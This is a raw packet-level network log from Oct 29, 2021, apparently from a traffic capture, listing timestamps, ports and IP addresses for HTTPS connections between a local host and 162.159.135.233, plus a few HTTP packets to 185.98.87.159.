Oct 29, 2021 15:30:16.751646996 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.751671076 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.751737118 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.751795053 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.751818895 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.751838923 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.751914024 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752001047 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752068996 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752145052 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.752167940 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752192974 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.752274036 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752300978 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.752315044 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752372026 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.752386093 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752473116 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752547979 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752614975 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752616882 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.752634048 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752737999 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752801895 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.752803087 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752821922 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.752897978 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.752958059 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753062010 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753124952 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.753125906 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753144026 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753196001 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.753211975 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753314018 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753391981 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753448009 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.753458023 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753477097 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753587961 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753643990 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.753650904 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753669024 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753767967 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753825903 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.753829002 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753846884 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753926992 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753982067 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.753990889 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.754010916 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.754076958 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.754112005 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.754127026 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.754188061 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.754200935 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.754225016 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.754307985 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.754322052 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.754757881 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.769998074 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770090103 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770097017 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.770127058 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770188093 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.770190954 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770214081 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770265102 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.770308971 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770374060 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.770384073 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770401955 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770454884 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.770492077 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770550013 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.770620108 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770675898 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.770864964 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.770934105 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.770983934 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771042109 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.771065950 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771121979 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.771260023 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771327972 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.771336079 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771358967 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771522045 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.771543026 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771572113 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771652937 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771754980 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.771773100 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.771789074 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.771990061 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.772062063 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.772073984 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.772084951 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.772259951 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.788644075 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.788768053 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.788886070 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.788897038 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.788925886 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.788963079 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.788969994 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789000988 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789009094 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789067030 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789073944 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789088011 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789146900 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789153099 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789170980 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789223909 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789230108 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789243937 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789297104 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789303064 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789325953 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789387941 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789396048 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789418936 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789504051 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789527893 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789535999 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789608955 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789630890 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789638042 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789705992 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789720058 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789726019 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789776087 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789817095 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789825916 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.789874077 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.789946079 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.790326118 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.790445089 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.790527105 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.790538073 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.790752888 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.790827036 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.790832996 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.790853977 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.790916920 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.790924072 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.790939093 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791004896 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.791011095 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791044950 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791105032 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.791110992 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791137934 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791218996 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.791224957 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791320086 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791389942 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.791395903 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791644096 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791707993 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.791713953 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791776896 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.791836977 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.791842937 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.792119980 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.792171001 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.792197943 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.792203903 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.792217970 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.792243004 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.792260885 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.792264938 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.792300940 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.792323112 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.792931080 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.792973995 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.793034077 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.793041945 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.793065071 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.793087959 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.793596029 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.793649912 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.793673992 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.793678045 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.793699026 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.794316053 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.794354916 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.794397116 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.794403076 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.794436932 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.794661999 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.794703007 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.794740915 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.794749022 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.794785023 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.795401096 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.795439959 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.795464993 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.795473099 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.795492887 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.795949936 CEST	80	49788	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:16.796216965 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.796363115 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.796376944 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.798300028 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.806318045 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.806349993 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.806420088 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.806431055 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.806476116 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.806864023 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.806893110 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.806957960 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.806967020 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.806993008 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.807426929 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.807521105 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.807568073 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.807641983 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.807650089 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.807682991 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.807842016 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.807877064 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.807913065 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.807919025 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.807945013 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.808973074 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.809009075 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.809011936 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.809027910 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.809061050 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.809099913 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.809472084 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.809508085 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.809556961 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.809564114 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.809588909 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.810009003 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.810235977 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.810271978 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.810313940 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.810318947 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.810358047 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.810540915 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.810578108 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.810610056 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.810616016 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.810642004 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.810897112 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.811429024 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.811465979 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.811510086 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.811517000 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.811624050 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.811628103 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.811902046 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.811975002 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.812282085 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.812372923 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.812408924 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.812438011 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.812447071 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.812453985 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.812482119 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.812663078 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.813296080 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.813332081 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.813364983 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.813371897 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.813390017 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.813407898 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.813891888 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.813927889 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.813967943 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.813973904 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.814002991 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.814049959 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.814697027 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.814737082 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.814790010 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.814796925 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.814824104 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.814867973 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.815021992 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.815057993 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.815114021 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.815120935 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.815129042 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.815357924 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.815568924 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.815676928 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.815781116 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.815817118 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.815859079 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.815865040 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.815875053 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.816492081 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.816525936 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.816566944 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.816572905 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.816592932 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.817328930 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.817353964 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.817476988 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.817487001 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.817496061 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.818252087 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.818275928 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.818351030 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.818358898 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.818382978 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.818423033 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.818447113 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.818490982 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.818497896 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.818506956 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.823719978 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.823748112 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.823837042 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.823848009 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.823885918 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.824507952 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.824558020 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.824593067 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.824603081 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.824635983 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.824650049 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.824672937 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.824785948 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.824795008 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825000048 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825026035 CEST	443	49782	162.159.135.233	192.168.2.7
